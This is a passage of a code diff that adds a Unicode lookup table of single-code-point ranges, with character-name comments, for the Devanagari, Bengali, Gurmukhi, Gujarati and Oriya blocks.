+ [0x943, 0x943], /* DEVANAGARI VOWEL SIGN VOCALIC R */
+ [0x944, 0x944], /* DEVANAGARI VOWEL SIGN VOCALIC RR */
+ [0x945, 0x945], /* DEVANAGARI VOWEL SIGN CANDRA E */
+ [0x946, 0x946], /* DEVANAGARI VOWEL SIGN SHORT E */
+ [0x947, 0x947], /* DEVANAGARI VOWEL SIGN E */
+ [0x948, 0x948], /* DEVANAGARI VOWEL SIGN AI */
+ [0x949, 0x949], /* DEVANAGARI VOWEL SIGN CANDRA O */
+ [0x94a, 0x94a], /* DEVANAGARI VOWEL SIGN SHORT O */
+ [0x94b, 0x94b], /* DEVANAGARI VOWEL SIGN O */
+ [0x94c, 0x94c], /* DEVANAGARI VOWEL SIGN AU */
+ [0x94d, 0x94d], /* DEVANAGARI SIGN VIRAMA */
+ [0x94e, 0x94e], /* DEVANAGARI VOWEL SIGN PRISHTHAMATRA E */
+ [0x94f, 0x94f], /* DEVANAGARI VOWEL SIGN AW */
+ [0x950, 0x950], /* DEVANAGARI OM */
+ [0x951, 0x951], /* DEVANAGARI STRESS SIGN UDATTA */
+ [0x952, 0x952], /* DEVANAGARI STRESS SIGN ANUDATTA */
+ [0x953, 0x953], /* DEVANAGARI GRAVE ACCENT */
+ [0x954, 0x954], /* DEVANAGARI ACUTE ACCENT */
+ [0x955, 0x955], /* DEVANAGARI VOWEL SIGN CANDRA LONG E */
+ [0x956, 0x956], /* DEVANAGARI VOWEL SIGN UE */
+ [0x957, 0x957], /* DEVANAGARI VOWEL SIGN UUE */
+ [0x958, 0x958], /* DEVANAGARI LETTER QA */
+ [0x959, 0x959], /* DEVANAGARI LETTER KHHA */
+ [0x95a, 0x95a], /* DEVANAGARI LETTER GHHA */
+ [0x95b, 0x95b], /* DEVANAGARI LETTER ZA */
+ [0x95c, 0x95c], /* DEVANAGARI LETTER DDDHA */
+ [0x95d, 0x95d], /* DEVANAGARI LETTER RHA */
+ [0x95e, 0x95e], /* DEVANAGARI LETTER FA */
+ [0x95f, 0x95f], /* DEVANAGARI LETTER YYA */
+ [0x960, 0x960], /* DEVANAGARI LETTER VOCALIC RR */
+ [0x961, 0x961], /* DEVANAGARI LETTER VOCALIC LL */
+ [0x962, 0x962], /* DEVANAGARI VOWEL SIGN VOCALIC L */
+ [0x963, 0x963], /* DEVANAGARI VOWEL SIGN VOCALIC LL */
+ [0x964, 0x964], /* DEVANAGARI DANDA */
+ [0x965, 0x965], /* DEVANAGARI DOUBLE DANDA */
+ [0x966, 0x966], /* DEVANAGARI DIGIT ZERO */
+ [0x967, 0x967], /* DEVANAGARI DIGIT ONE */
+ [0x968, 0x968], /* DEVANAGARI DIGIT TWO */
+ [0x969, 0x969], /* DEVANAGARI DIGIT THREE */
+ [0x96a, 0x96a], /* DEVANAGARI DIGIT FOUR */
+ [0x96b, 0x96b], /* DEVANAGARI DIGIT FIVE */
+ [0x96c, 0x96c], /* DEVANAGARI DIGIT SIX */
+ [0x96d, 0x96d], /* DEVANAGARI DIGIT SEVEN */
+ [0x96e, 0x96e], /* DEVANAGARI DIGIT EIGHT */
+ [0x96f, 0x96f], /* DEVANAGARI DIGIT NINE */
+ [0x970, 0x970], /* DEVANAGARI ABBREVIATION SIGN */
+ [0x971, 0x971], /* DEVANAGARI SIGN HIGH SPACING DOT */
+ [0x972, 0x972], /* DEVANAGARI LETTER CANDRA A */
+ [0x973, 0x973], /* DEVANAGARI LETTER OE */
+ [0x974, 0x974], /* DEVANAGARI LETTER OOE */
+ [0x975, 0x975], /* DEVANAGARI LETTER AW */
+ [0x976, 0x976], /* DEVANAGARI LETTER UE */
+ [0x977, 0x977], /* DEVANAGARI LETTER UUE */
+ [0x978, 0x978], /* DEVANAGARI LETTER MARWARI DDA */
+ [0x979, 0x979], /* DEVANAGARI LETTER ZHA */
+ [0x97a, 0x97a], /* DEVANAGARI LETTER HEAVY YA */
+ [0x97b, 0x97b], /* DEVANAGARI LETTER GGA */
+ [0x97c, 0x97c], /* DEVANAGARI LETTER JJA */
+ [0x97d, 0x97d], /* DEVANAGARI LETTER GLOTTAL STOP */
+ [0x97e, 0x97e], /* DEVANAGARI LETTER DDDA */
+ [0x97f, 0x97f], /* DEVANAGARI LETTER BBA */
+ [0x980, 0x980], /* BENGALI ANJI */
+ [0x981, 0x981], /* BENGALI SIGN CANDRABINDU */
+ [0x982, 0x982], /* BENGALI SIGN ANUSVARA */
+ [0x983, 0x983], /* BENGALI SIGN VISARGA */
+ [0x984, 0x984],
+ [0x985, 0x985], /* BENGALI LETTER A */
+ [0x986, 0x986], /* BENGALI LETTER AA */
+ [0x987, 0x987], /* BENGALI LETTER I */
+ [0x988, 0x988], /* BENGALI LETTER II */
+ [0x989, 0x989], /* BENGALI LETTER U */
+ [0x98a, 0x98a], /* BENGALI LETTER UU */
+ [0x98b, 0x98b], /* BENGALI LETTER VOCALIC R */
+ [0x98c, 0x98c], /* BENGALI LETTER VOCALIC L */
+ [0x98d, 0x98d],
+ [0x98e, 0x98e],
+ [0x98f, 0x98f], /* BENGALI LETTER E */
+ [0x990, 0x990], /* BENGALI LETTER AI */
+ [0x991, 0x991],
+ [0x992, 0x992],
+ [0x993, 0x993], /* BENGALI LETTER O */
+ [0x994, 0x994], /* BENGALI LETTER AU */
+ [0x995, 0x995], /* BENGALI LETTER KA */
+ [0x996, 0x996], /* BENGALI LETTER KHA */
+ [0x997, 0x997], /* BENGALI LETTER GA */
+ [0x998, 0x998], /* BENGALI LETTER GHA */
+ [0x999, 0x999], /* BENGALI LETTER NGA */
+ [0x99a, 0x99a], /* BENGALI LETTER CA */
+ [0x99b, 0x99b], /* BENGALI LETTER CHA */
+ [0x99c, 0x99c], /* BENGALI LETTER JA */
+ [0x99d, 0x99d], /* BENGALI LETTER JHA */
+ [0x99e, 0x99e], /* BENGALI LETTER NYA */
+ [0x99f, 0x99f], /* BENGALI LETTER TTA */
+ [0x9a0, 0x9a0], /* BENGALI LETTER TTHA */
+ [0x9a1, 0x9a1], /* BENGALI LETTER DDA */
+ [0x9a2, 0x9a2], /* BENGALI LETTER DDHA */
+ [0x9a3, 0x9a3], /* BENGALI LETTER NNA */
+ [0x9a4, 0x9a4], /* BENGALI LETTER TA */
+ [0x9a5, 0x9a5], /* BENGALI LETTER THA */
+ [0x9a6, 0x9a6], /* BENGALI LETTER DA */
+ [0x9a7, 0x9a7], /* BENGALI LETTER DHA */
+ [0x9a8, 0x9a8], /* BENGALI LETTER NA */
+ [0x9a9, 0x9a9],
+ [0x9aa, 0x9aa], /* BENGALI LETTER PA */
+ [0x9ab, 0x9ab], /* BENGALI LETTER PHA */
+ [0x9ac, 0x9ac], /* BENGALI LETTER BA */
+ [0x9ad, 0x9ad], /* BENGALI LETTER BHA */
+ [0x9ae, 0x9ae], /* BENGALI LETTER MA */
+ [0x9af, 0x9af], /* BENGALI LETTER YA */
+ [0x9b0, 0x9b0], /* BENGALI LETTER RA */
+ [0x9b1, 0x9b1],
+ [0x9b2, 0x9b2], /* BENGALI LETTER LA */
+ [0x9b3, 0x9b3],
+ [0x9b4, 0x9b4],
+ [0x9b5, 0x9b5],
+ [0x9b6, 0x9b6], /* BENGALI LETTER SHA */
+ [0x9b7, 0x9b7], /* BENGALI LETTER SSA */
+ [0x9b8, 0x9b8], /* BENGALI LETTER SA */
+ [0x9b9, 0x9b9], /* BENGALI LETTER HA */
+ [0x9ba, 0x9ba],
+ [0x9bb, 0x9bb],
+ [0x9bc, 0x9bc], /* BENGALI SIGN NUKTA */
+ [0x9bd, 0x9bd], /* BENGALI SIGN AVAGRAHA */
+ [0x9be, 0x9be], /* BENGALI VOWEL SIGN AA */
+ [0x9bf, 0x9bf], /* BENGALI VOWEL SIGN I */
+ [0x9c0, 0x9c0], /* BENGALI VOWEL SIGN II */
+ [0x9c1, 0x9c1], /* BENGALI VOWEL SIGN U */
+ [0x9c2, 0x9c2], /* BENGALI VOWEL SIGN UU */
+ [0x9c3, 0x9c3], /* BENGALI VOWEL SIGN VOCALIC R */
+ [0x9c4, 0x9c4], /* BENGALI VOWEL SIGN VOCALIC RR */
+ [0x9c5, 0x9c5],
+ [0x9c6, 0x9c6],
+ [0x9c7, 0x9c7], /* BENGALI VOWEL SIGN E */
+ [0x9c8, 0x9c8], /* BENGALI VOWEL SIGN AI */
+ [0x9c9, 0x9c9],
+ [0x9ca, 0x9ca],
+ [0x9cb, 0x9cb], /* BENGALI VOWEL SIGN O */
+ [0x9cc, 0x9cc], /* BENGALI VOWEL SIGN AU */
+ [0x9cd, 0x9cd], /* BENGALI SIGN VIRAMA */
+ [0x9ce, 0x9ce], /* BENGALI LETTER KHANDA TA */
+ [0x9cf, 0x9cf],
+ [0x9d0, 0x9d0],
+ [0x9d1, 0x9d1],
+ [0x9d2, 0x9d2],
+ [0x9d3, 0x9d3],
+ [0x9d4, 0x9d4],
+ [0x9d5, 0x9d5],
+ [0x9d6, 0x9d6],
+ [0x9d7, 0x9d7], /* BENGALI AU LENGTH MARK */
+ [0x9d8, 0x9d8],
+ [0x9d9, 0x9d9],
+ [0x9da, 0x9da],
+ [0x9db, 0x9db],
+ [0x9dc, 0x9dc], /* BENGALI LETTER RRA */
+ [0x9dd, 0x9dd], /* BENGALI LETTER RHA */
+ [0x9de, 0x9de],
+ [0x9df, 0x9df], /* BENGALI LETTER YYA */
+ [0x9e0, 0x9e0], /* BENGALI LETTER VOCALIC RR */
+ [0x9e1, 0x9e1], /* BENGALI LETTER VOCALIC LL */
+ [0x9e2, 0x9e2], /* BENGALI VOWEL SIGN VOCALIC L */
+ [0x9e3, 0x9e3], /* BENGALI VOWEL SIGN VOCALIC LL */
+ [0x9e4, 0x9e4],
+ [0x9e5, 0x9e5],
+ [0x9e6, 0x9e6], /* BENGALI DIGIT ZERO */
+ [0x9e7, 0x9e7], /* BENGALI DIGIT ONE */
+ [0x9e8, 0x9e8], /* BENGALI DIGIT TWO */
+ [0x9e9, 0x9e9], /* BENGALI DIGIT THREE */
+ [0x9ea, 0x9ea], /* BENGALI DIGIT FOUR */
+ [0x9eb, 0x9eb], /* BENGALI DIGIT FIVE */
+ [0x9ec, 0x9ec], /* BENGALI DIGIT SIX */
+ [0x9ed, 0x9ed], /* BENGALI DIGIT SEVEN */
+ [0x9ee, 0x9ee], /* BENGALI DIGIT EIGHT */
+ [0x9ef, 0x9ef], /* BENGALI DIGIT NINE */
+ [0x9f0, 0x9f0], /* BENGALI LETTER RA WITH MIDDLE DIAGONAL */
+ [0x9f1, 0x9f1], /* BENGALI LETTER RA WITH LOWER DIAGONAL (BENGALI LETTER VA WITH LOWER DIAGONAL) */
+ [0x9f2, 0x9f2], /* BENGALI RUPEE MARK */
+ [0x9f3, 0x9f3], /* BENGALI RUPEE SIGN */
+ [0x9f4, 0x9f4], /* BENGALI CURRENCY NUMERATOR ONE */
+ [0x9f5, 0x9f5], /* BENGALI CURRENCY NUMERATOR TWO */
+ [0x9f6, 0x9f6], /* BENGALI CURRENCY NUMERATOR THREE */
+ [0x9f7, 0x9f7], /* BENGALI CURRENCY NUMERATOR FOUR */
+ [0x9f8, 0x9f8], /* BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR */
+ [0x9f9, 0x9f9], /* BENGALI CURRENCY DENOMINATOR SIXTEEN */
+ [0x9fa, 0x9fa], /* BENGALI ISSHAR */
+ [0x9fb, 0x9fb], /* BENGALI GANDA MARK */
+ [0x9fc, 0x9fc],
+ [0x9fd, 0x9fd],
+ [0x9fe, 0x9fe],
+ [0x9ff, 0x9ff],
+ [0xa00, 0xa00],
+ [0xa01, 0xa01], /* GURMUKHI SIGN ADAK BINDI */
+ [0xa02, 0xa02], /* GURMUKHI SIGN BINDI */
+ [0xa03, 0xa03], /* GURMUKHI SIGN VISARGA */
+ [0xa04, 0xa04],
+ [0xa05, 0xa05], /* GURMUKHI LETTER A */
+ [0xa06, 0xa06], /* GURMUKHI LETTER AA */
+ [0xa07, 0xa07], /* GURMUKHI LETTER I */
+ [0xa08, 0xa08], /* GURMUKHI LETTER II */
+ [0xa09, 0xa09], /* GURMUKHI LETTER U */
+ [0xa0a, 0xa0a], /* GURMUKHI LETTER UU */
+ [0xa0b, 0xa0b],
+ [0xa0c, 0xa0c],
+ [0xa0d, 0xa0d],
+ [0xa0e, 0xa0e],
+ [0xa0f, 0xa0f], /* GURMUKHI LETTER EE */
+ [0xa10, 0xa10], /* GURMUKHI LETTER AI */
+ [0xa11, 0xa11],
+ [0xa12, 0xa12],
+ [0xa13, 0xa13], /* GURMUKHI LETTER OO */
+ [0xa14, 0xa14], /* GURMUKHI LETTER AU */
+ [0xa15, 0xa15], /* GURMUKHI LETTER KA */
+ [0xa16, 0xa16], /* GURMUKHI LETTER KHA */
+ [0xa17, 0xa17], /* GURMUKHI LETTER GA */
+ [0xa18, 0xa18], /* GURMUKHI LETTER GHA */
+ [0xa19, 0xa19], /* GURMUKHI LETTER NGA */
+ [0xa1a, 0xa1a], /* GURMUKHI LETTER CA */
+ [0xa1b, 0xa1b], /* GURMUKHI LETTER CHA */
+ [0xa1c, 0xa1c], /* GURMUKHI LETTER JA */
+ [0xa1d, 0xa1d], /* GURMUKHI LETTER JHA */
+ [0xa1e, 0xa1e], /* GURMUKHI LETTER NYA */
+ [0xa1f, 0xa1f], /* GURMUKHI LETTER TTA */
+ [0xa20, 0xa20], /* GURMUKHI LETTER TTHA */
+ [0xa21, 0xa21], /* GURMUKHI LETTER DDA */
+ [0xa22, 0xa22], /* GURMUKHI LETTER DDHA */
+ [0xa23, 0xa23], /* GURMUKHI LETTER NNA */
+ [0xa24, 0xa24], /* GURMUKHI LETTER TA */
+ [0xa25, 0xa25], /* GURMUKHI LETTER THA */
+ [0xa26, 0xa26], /* GURMUKHI LETTER DA */
+ [0xa27, 0xa27], /* GURMUKHI LETTER DHA */
+ [0xa28, 0xa28], /* GURMUKHI LETTER NA */
+ [0xa29, 0xa29],
+ [0xa2a, 0xa2a], /* GURMUKHI LETTER PA */
+ [0xa2b, 0xa2b], /* GURMUKHI LETTER PHA */
+ [0xa2c, 0xa2c], /* GURMUKHI LETTER BA */
+ [0xa2d, 0xa2d], /* GURMUKHI LETTER BHA */
+ [0xa2e, 0xa2e], /* GURMUKHI LETTER MA */
+ [0xa2f, 0xa2f], /* GURMUKHI LETTER YA */
+ [0xa30, 0xa30], /* GURMUKHI LETTER RA */
+ [0xa31, 0xa31],
+ [0xa32, 0xa32], /* GURMUKHI LETTER LA */
+ [0xa33, 0xa33], /* GURMUKHI LETTER LLA */
+ [0xa34, 0xa34],
+ [0xa35, 0xa35], /* GURMUKHI LETTER VA */
+ [0xa36, 0xa36], /* GURMUKHI LETTER SHA */
+ [0xa37, 0xa37],
+ [0xa38, 0xa38], /* GURMUKHI LETTER SA */
+ [0xa39, 0xa39], /* GURMUKHI LETTER HA */
+ [0xa3a, 0xa3a],
+ [0xa3b, 0xa3b],
+ [0xa3c, 0xa3c], /* GURMUKHI SIGN NUKTA */
+ [0xa3d, 0xa3d],
+ [0xa3e, 0xa3e], /* GURMUKHI VOWEL SIGN AA */
+ [0xa3f, 0xa3f], /* GURMUKHI VOWEL SIGN I */
+ [0xa40, 0xa40], /* GURMUKHI VOWEL SIGN II */
+ [0xa41, 0xa41], /* GURMUKHI VOWEL SIGN U */
+ [0xa42, 0xa42], /* GURMUKHI VOWEL SIGN UU */
+ [0xa43, 0xa43],
+ [0xa44, 0xa44],
+ [0xa45, 0xa45],
+ [0xa46, 0xa46],
+ [0xa47, 0xa47], /* GURMUKHI VOWEL SIGN EE */
+ [0xa48, 0xa48], /* GURMUKHI VOWEL SIGN AI */
+ [0xa49, 0xa49],
+ [0xa4a, 0xa4a],
+ [0xa4b, 0xa4b], /* GURMUKHI VOWEL SIGN OO */
+ [0xa4c, 0xa4c], /* GURMUKHI VOWEL SIGN AU */
+ [0xa4d, 0xa4d], /* GURMUKHI SIGN VIRAMA */
+ [0xa4e, 0xa4e],
+ [0xa4f, 0xa4f],
+ [0xa50, 0xa50],
+ [0xa51, 0xa51], /* GURMUKHI SIGN UDAAT */
+ [0xa52, 0xa52],
+ [0xa53, 0xa53],
+ [0xa54, 0xa54],
+ [0xa55, 0xa55],
+ [0xa56, 0xa56],
+ [0xa57, 0xa57],
+ [0xa58, 0xa58],
+ [0xa59, 0xa59], /* GURMUKHI LETTER KHHA */
+ [0xa5a, 0xa5a], /* GURMUKHI LETTER GHHA */
+ [0xa5b, 0xa5b], /* GURMUKHI LETTER ZA */
+ [0xa5c, 0xa5c], /* GURMUKHI LETTER RRA */
+ [0xa5d, 0xa5d],
+ [0xa5e, 0xa5e], /* GURMUKHI LETTER FA */
+ [0xa5f, 0xa5f],
+ [0xa60, 0xa60],
+ [0xa61, 0xa61],
+ [0xa62, 0xa62],
+ [0xa63, 0xa63],
+ [0xa64, 0xa64],
+ [0xa65, 0xa65],
+ [0xa66, 0xa66], /* GURMUKHI DIGIT ZERO */
+ [0xa67, 0xa67], /* GURMUKHI DIGIT ONE */
+ [0xa68, 0xa68], /* GURMUKHI DIGIT TWO */
+ [0xa69, 0xa69], /* GURMUKHI DIGIT THREE */
+ [0xa6a, 0xa6a], /* GURMUKHI DIGIT FOUR */
+ [0xa6b, 0xa6b], /* GURMUKHI DIGIT FIVE */
+ [0xa6c, 0xa6c], /* GURMUKHI DIGIT SIX */
+ [0xa6d, 0xa6d], /* GURMUKHI DIGIT SEVEN */
+ [0xa6e, 0xa6e], /* GURMUKHI DIGIT EIGHT */
+ [0xa6f, 0xa6f], /* GURMUKHI DIGIT NINE */
+ [0xa70, 0xa70], /* GURMUKHI TIPPI */
+ [0xa71, 0xa71], /* GURMUKHI ADDAK */
+ [0xa72, 0xa72], /* GURMUKHI IRI */
+ [0xa73, 0xa73], /* GURMUKHI URA */
+ [0xa74, 0xa74], /* GURMUKHI EK ONKAR */
+ [0xa75, 0xa75], /* GURMUKHI SIGN YAKASH */
+ [0xa76, 0xa76],
+ [0xa77, 0xa77],
+ [0xa78, 0xa78],
+ [0xa79, 0xa79],
+ [0xa7a, 0xa7a],
+ [0xa7b, 0xa7b],
+ [0xa7c, 0xa7c],
+ [0xa7d, 0xa7d],
+ [0xa7e, 0xa7e],
+ [0xa7f, 0xa7f],
+ [0xa80, 0xa80],
+ [0xa81, 0xa81], /* GUJARATI SIGN CANDRABINDU */
+ [0xa82, 0xa82], /* GUJARATI SIGN ANUSVARA */
+ [0xa83, 0xa83], /* GUJARATI SIGN VISARGA */
+ [0xa84, 0xa84],
+ [0xa85, 0xa85], /* GUJARATI LETTER A */
+ [0xa86, 0xa86], /* GUJARATI LETTER AA */
+ [0xa87, 0xa87], /* GUJARATI LETTER I */
+ [0xa88, 0xa88], /* GUJARATI LETTER II */
+ [0xa89, 0xa89], /* GUJARATI LETTER U */
+ [0xa8a, 0xa8a], /* GUJARATI LETTER UU */
+ [0xa8b, 0xa8b], /* GUJARATI LETTER VOCALIC R */
+ [0xa8c, 0xa8c], /* GUJARATI LETTER VOCALIC L */
+ [0xa8d, 0xa8d], /* GUJARATI VOWEL CANDRA E */
+ [0xa8e, 0xa8e],
+ [0xa8f, 0xa8f], /* GUJARATI LETTER E */
+ [0xa90, 0xa90], /* GUJARATI LETTER AI */
+ [0xa91, 0xa91], /* GUJARATI VOWEL CANDRA O */
+ [0xa92, 0xa92],
+ [0xa93, 0xa93], /* GUJARATI LETTER O */
+ [0xa94, 0xa94], /* GUJARATI LETTER AU */
+ [0xa95, 0xa95], /* GUJARATI LETTER KA */
+ [0xa96, 0xa96], /* GUJARATI LETTER KHA */
+ [0xa97, 0xa97], /* GUJARATI LETTER GA */
+ [0xa98, 0xa98], /* GUJARATI LETTER GHA */
+ [0xa99, 0xa99], /* GUJARATI LETTER NGA */
+ [0xa9a, 0xa9a], /* GUJARATI LETTER CA */
+ [0xa9b, 0xa9b], /* GUJARATI LETTER CHA */
+ [0xa9c, 0xa9c], /* GUJARATI LETTER JA */
+ [0xa9d, 0xa9d], /* GUJARATI LETTER JHA */
+ [0xa9e, 0xa9e], /* GUJARATI LETTER NYA */
+ [0xa9f, 0xa9f], /* GUJARATI LETTER TTA */
+ [0xaa0, 0xaa0], /* GUJARATI LETTER TTHA */
+ [0xaa1, 0xaa1], /* GUJARATI LETTER DDA */
+ [0xaa2, 0xaa2], /* GUJARATI LETTER DDHA */
+ [0xaa3, 0xaa3], /* GUJARATI LETTER NNA */
+ [0xaa4, 0xaa4], /* GUJARATI LETTER TA */
+ [0xaa5, 0xaa5], /* GUJARATI LETTER THA */
+ [0xaa6, 0xaa6], /* GUJARATI LETTER DA */
+ [0xaa7, 0xaa7], /* GUJARATI LETTER DHA */
+ [0xaa8, 0xaa8], /* GUJARATI LETTER NA */
+ [0xaa9, 0xaa9],
+ [0xaaa, 0xaaa], /* GUJARATI LETTER PA */
+ [0xaab, 0xaab], /* GUJARATI LETTER PHA */
+ [0xaac, 0xaac], /* GUJARATI LETTER BA */
+ [0xaad, 0xaad], /* GUJARATI LETTER BHA */
+ [0xaae, 0xaae], /* GUJARATI LETTER MA */
+ [0xaaf, 0xaaf], /* GUJARATI LETTER YA */
+ [0xab0, 0xab0], /* GUJARATI LETTER RA */
+ [0xab1, 0xab1],
+ [0xab2, 0xab2], /* GUJARATI LETTER LA */
+ [0xab3, 0xab3], /* GUJARATI LETTER LLA */
+ [0xab4, 0xab4],
+ [0xab5, 0xab5], /* GUJARATI LETTER VA */
+ [0xab6, 0xab6], /* GUJARATI LETTER SHA */
+ [0xab7, 0xab7], /* GUJARATI LETTER SSA */
+ [0xab8, 0xab8], /* GUJARATI LETTER SA */
+ [0xab9, 0xab9], /* GUJARATI LETTER HA */
+ [0xaba, 0xaba],
+ [0xabb, 0xabb],
+ [0xabc, 0xabc], /* GUJARATI SIGN NUKTA */
+ [0xabd, 0xabd], /* GUJARATI SIGN AVAGRAHA */
+ [0xabe, 0xabe], /* GUJARATI VOWEL SIGN AA */
+ [0xabf, 0xabf], /* GUJARATI VOWEL SIGN I */
+ [0xac0, 0xac0], /* GUJARATI VOWEL SIGN II */
+ [0xac1, 0xac1], /* GUJARATI VOWEL SIGN U */
+ [0xac2, 0xac2], /* GUJARATI VOWEL SIGN UU */
+ [0xac3, 0xac3], /* GUJARATI VOWEL SIGN VOCALIC R */
+ [0xac4, 0xac4], /* GUJARATI VOWEL SIGN VOCALIC RR */
+ [0xac5, 0xac5], /* GUJARATI VOWEL SIGN CANDRA E */
+ [0xac6, 0xac6],
+ [0xac7, 0xac7], /* GUJARATI VOWEL SIGN E */
+ [0xac8, 0xac8], /* GUJARATI VOWEL SIGN AI */
+ [0xac9, 0xac9], /* GUJARATI VOWEL SIGN CANDRA O */
+ [0xaca, 0xaca],
+ [0xacb, 0xacb], /* GUJARATI VOWEL SIGN O */
+ [0xacc, 0xacc], /* GUJARATI VOWEL SIGN AU */
+ [0xacd, 0xacd], /* GUJARATI SIGN VIRAMA */
+ [0xace, 0xace],
+ [0xacf, 0xacf],
+ [0xad0, 0xad0], /* GUJARATI OM */
+ [0xad1, 0xad1],
+ [0xad2, 0xad2],
+ [0xad3, 0xad3],
+ [0xad4, 0xad4],
+ [0xad5, 0xad5],
+ [0xad6, 0xad6],
+ [0xad7, 0xad7],
+ [0xad8, 0xad8],
+ [0xad9, 0xad9],
+ [0xada, 0xada],
+ [0xadb, 0xadb],
+ [0xadc, 0xadc],
+ [0xadd, 0xadd],
+ [0xade, 0xade],
+ [0xadf, 0xadf],
+ [0xae0, 0xae0], /* GUJARATI LETTER VOCALIC RR */
+ [0xae1, 0xae1], /* GUJARATI LETTER VOCALIC LL */
+ [0xae2, 0xae2], /* GUJARATI VOWEL SIGN VOCALIC L */
+ [0xae3, 0xae3], /* GUJARATI VOWEL SIGN VOCALIC LL */
+ [0xae4, 0xae4],
+ [0xae5, 0xae5],
+ [0xae6, 0xae6], /* GUJARATI DIGIT ZERO */
+ [0xae7, 0xae7], /* GUJARATI DIGIT ONE */
+ [0xae8, 0xae8], /* GUJARATI DIGIT TWO */
+ [0xae9, 0xae9], /* GUJARATI DIGIT THREE */
+ [0xaea, 0xaea], /* GUJARATI DIGIT FOUR */
+ [0xaeb, 0xaeb], /* GUJARATI DIGIT FIVE */
+ [0xaec, 0xaec], /* GUJARATI DIGIT SIX */
+ [0xaed, 0xaed], /* GUJARATI DIGIT SEVEN */
+ [0xaee, 0xaee], /* GUJARATI DIGIT EIGHT */
+ [0xaef, 0xaef], /* GUJARATI DIGIT NINE */
+ [0xaf0, 0xaf0], /* GUJARATI ABBREVIATION SIGN */
+ [0xaf1, 0xaf1], /* GUJARATI RUPEE SIGN */
+ [0xaf2, 0xaf2],
+ [0xaf3, 0xaf3],
+ [0xaf4, 0xaf4],
+ [0xaf5, 0xaf5],
+ [0xaf6, 0xaf6],
+ [0xaf7, 0xaf7],
+ [0xaf8, 0xaf8],
+ [0xaf9, 0xaf9], /* GUJARATI LETTER ZHA */
+ [0xafa, 0xafa],
+ [0xafb, 0xafb],
+ [0xafc, 0xafc],
+ [0xafd, 0xafd],
+ [0xafe, 0xafe],
+ [0xaff, 0xaff],
+ [0xb00, 0xb00],
+ [0xb01, 0xb01], /* ORIYA SIGN CANDRABINDU */
+ [0xb02, 0xb02], /* ORIYA SIGN ANUSVARA */
+ [0xb03, 0xb03], /* ORIYA SIGN VISARGA */
+ [0xb04, 0xb04],
+ [0xb05, 0xb05], /* ORIYA LETTER A */
+ [0xb06, 0xb06], /* ORIYA LETTER AA */
+ [0xb07, 0xb07], /* ORIYA LETTER I */
+ [0xb08, 0xb08], /* ORIYA LETTER II */
+ [0xb09, 0xb09], /* ORIYA LETTER U */
+ [0xb0a, 0xb0a], /* ORIYA LETTER UU */
+ [0xb0b, 0xb0b], /* ORIYA LETTER VOCALIC R */
+ [0xb0c, 0xb0c], /* ORIYA LETTER VOCALIC L */
+ [0xb0d, 0xb0d],
+ [0xb0e, 0xb0e],
+ [0xb0f, 0xb0f], /* ORIYA LETTER E */
+ [0xb10, 0xb10], /* ORIYA LETTER AI */
+ [0xb11, 0xb11],
+ [0xb12, 0xb12],
+ [0xb13, 0xb13], /* ORIYA LETTER O */
+ [0xb14, 0xb14], /* ORIYA LETTER AU */
+ [0xb15, 0xb15], /* ORIYA LETTER KA */
+ [0xb16, 0xb16], /* ORIYA LETTER KHA */
+ [0xb17, 0xb17], /* ORIYA LETTER GA */
+ [0xb18, 0xb18], /* ORIYA LETTER GHA */
+ [0xb19, 0xb19], /* ORIYA LETTER NGA */
+ [0xb1a, 0xb1a], /* ORIYA LETTER CA */
+ [0xb1b, 0xb1b], /* ORIYA LETTER CHA */
+ [0xb1c, 0xb1c], /* ORIYA LETTER JA */
+ [0xb1d, 0xb1d], /* ORIYA LETTER JHA */
+ [0xb1e, 0xb1e], /* ORIYA LETTER NYA */
+ [0xb1f, 0xb1f], /* ORIYA LETTER TTA */
+ [0xb20, 0xb20], /* ORIYA LETTER TTHA */
+ [0xb21, 0xb21], /* ORIYA LETTER DDA */
+ [0xb22, 0xb22], /* ORIYA LETTER DDHA */
+ [0xb23, 0xb23], /* ORIYA LETTER NNA */
+ [0xb24, 0xb24], /* ORIYA LETTER TA */
+ [0xb25, 0xb25], /* ORIYA LETTER THA */
+ [0xb26, 0xb26], /* ORIYA LETTER DA */
+ [0xb27, 0xb27], /* ORIYA LETTER DHA */
+ [0xb28, 0xb28], /* ORIYA LETTER NA */
+ [0xb29, 0xb29],
+ [0xb2a, 0xb2a], /* ORIYA LETTER PA */
+ [0xb2b, 0xb2b], /* ORIYA LETTER PHA */
+ [0xb2c, 0xb2c], /* ORIYA LETTER BA */
+ [0xb2d, 0xb2d], /* ORIYA LETTER BHA */
+ [0xb2e, 0xb2e], /* ORIYA LETTER MA */
+ [0xb2f, 0xb2f], /* ORIYA LETTER YA */
+ [0xb30, 0xb30], /* ORIYA LETTER RA */
+ [0xb31, 0xb31],
+ [0xb32, 0xb32], /* ORIYA LETTER LA */
+ [0xb33, 0xb33], /* ORIYA LETTER LLA */
+ [0xb34, 0xb34],
+ [0xb35, 0xb35], /* ORIYA LETTER VA */
+ [0xb36, 0xb36], /* ORIYA LETTER SHA */
+ [0xb37, 0xb37], /* ORIYA LETTER SSA */
+ [0xb38, 0xb38], /* ORIYA LETTER SA */
+ [0xb39, 0xb39], /* ORIYA LETTER HA */
+ [0xb3a, 0xb3a],
+ [0xb3b, 0xb3b],
+ [0xb3c, 0xb3c], /* ORIYA SIGN NUKTA */
+ [0xb3d, 0xb3d], /* ORIYA SIGN AVAGRAHA */
+ [0xb3e, 0xb3e], /* ORIYA VOWEL SIGN AA */
+ [0xb3f, 0xb3f], /* ORIYA VOWEL SIGN I */
+ [0xb40, 0xb40], /* ORIYA VOWEL SIGN II */
+ [0xb41, 0xb41], /* ORIYA VOWEL SIGN U */
+ [0xb42, 0xb42], /* ORIYA VOWEL SIGN UU */
+ [0xb43, 0xb43], /* ORIYA VOWEL SIGN VOCALIC R */
+ [0xb44, 0xb44], /* ORIYA VOWEL SIGN VOCALIC RR */
+ [0xb45, 0xb45],
+ [0xb46, 0xb46],
+ [0xb47, 0xb47], /* ORIYA VOWEL SIGN E */
+ [0xb48, 0xb48], /* ORIYA VOWEL SIGN AI */
+ [0xb49, 0xb49],
+ [0xb4a, 0xb4a],
+ [0xb4b, 0xb4b], /* ORIYA VOWEL SIGN O */
+ [0xb4c, 0xb4c], /* ORIYA VOWEL SIGN AU */
+ [0xb4d, 0xb4d], /* ORIYA SIGN VIRAMA */
+ [0xb4e, 0xb4e],
+ [0xb4f, 0xb4f],
+ [0xb50, 0xb50],
+ [0xb51, 0xb51],
+ [0xb52, 0xb52],
+ [0xb53, 0xb53],
